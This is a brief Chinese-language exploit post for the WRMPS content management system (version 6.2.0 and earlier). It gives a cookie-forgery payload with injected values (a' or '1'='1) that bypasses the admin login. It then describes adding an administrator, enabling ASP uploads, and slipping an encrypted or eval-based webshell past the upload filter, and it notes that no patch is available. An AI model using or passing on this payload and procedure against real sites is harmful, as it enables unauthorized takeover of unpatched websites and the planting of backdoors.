WRMPS 是一个高效的内容管理解决方案,是数十万地方生活门户、行业门户及分类信息站点首选技术品牌!COOKIE欺骗进后台
admin/admin_main.asp or admin/admin_menu.asp
admin=ManageCode=WRMPS6&admin=a' or '1'='1&pass=a' or '1'='1&flag=,&FlagGroup=0
有些后台不需要认证码 ManageCode= 默认WRMPS6 , 如果改了就只能猜了.进了后台,添加管理员,添加上传类型ASP, 上传过滤了某些特殊代码,wscript.shell,execute之类的,直接传加密的马或者传eval的一句话就可以了.
WRMPS =< v 6.2.0
暂无,等待官方补丁
http://www.wangren.net/
暂无评论